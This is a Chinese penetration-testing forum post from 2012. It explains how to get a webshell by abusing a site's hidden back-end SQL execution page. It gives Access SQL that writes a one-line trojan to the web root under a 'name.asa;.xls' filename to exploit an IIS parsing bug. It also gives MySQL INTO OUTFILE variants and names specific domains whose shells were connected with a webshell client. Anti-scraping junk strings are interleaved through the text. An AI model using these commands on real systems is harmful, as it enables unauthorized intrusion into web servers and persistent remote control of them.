中国网络渗透测试联盟
标题:
ACCESS执行SQL命令导出一句话SHELL
[打印本页]
作者:
admin
时间:
2012-9-13 17:53
标题:
ACCESS执行SQL命令导出一句话SHELL
好不容易进了后台，发现啥上传啊。备份啊多木有。
' s* O% }2 \/ f5 k/ L
webshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的
, `* B3 [, d# x& b1 W
文件。可后台没显示这功能。直接填上文件名字，执行命令的选项出来了，
+ I7 }7 j* R! a; s# X% N
然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下：
2 H! o! k& B, k6 L! o* A
1.create table cmd (a varchar(50))
' L1 i. o5 }+ [: R
2.insert into cmd (a) values (‘‘)
! C; c* u4 U! w: T
3.select * into [a] in ‘D:\wwwroot\
www.koohik.com
\hacker.asa;.xls’ ‘excel 4.0;’ from cmd
4 ]( [7 W) u1 k
(把表cmd的内容导出为物理路径的一个EXCEL文件)
7 V6 ?$ C. Q- R9 F
4.drop table cmd
" p& L# q7 a+ T. X
利用IIS的BUG成功拿到了WEBSHELL。
8 k! j0 ^9 k' @
/ I* H/ C, c, @# P4 r) K8 H) p9 x
直接菜刀里连接
http://www.chouwazi.com/data/xiao.asp;xiao.xls
一句话
- h$ K+ U7 e4 H0 V( H: u: L
" c* l1 Y% o% L! q8 n# B G j! f8 W
SQL语句意思解释：
: g3 o& l0 r5 S1 T" B3 i
第一句
2 ]% X7 K' r( _/ W! A* ?7 G; e, l+ e
建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
" j: U: h; o# L" I- N1 [
# E( m/ z- J. G6 C$ z- q+ h
第二句
) j/ G/ F) D: O- `0 ?1 t
在表cmd的a字段插入一句话木马
) T; k- P' {* d a
第三句
P# x X/ x8 }5 \
把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件
% p4 E: w$ n& T4 o
) u) z; C: U4 C8 E- z
第四句
6 D( r) K j3 {1 o, A, N
删除建立的cmd表
6 A& Q! s$ z* f6 D) n+ \
" j- Z* ? m- D) M4 \: K$ d
以下内容为测试：
: d9 O5 ?/ I# q! L3 h G2 \/ a
Access利用后台SQL执行命令功能导出WebShell:
4 f& A F- c9 Y! w) j
这个更简单：
+ \' p0 J$ @3 O9 i, S
[ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]
" V7 ?: M/ o" a) V* d
或者
+ V* K, c+ A8 v, h
[ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]
/ x# y) ?, b9 m
' D3 F8 r, c* ^
后台有执行SQL语句功能(vote为已知表段)
, R( k; S, G% K- ~
希望对大家有所帮助拿shell的又一个思路
* g8 @/ K- v! R" K* {7 j6 E
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2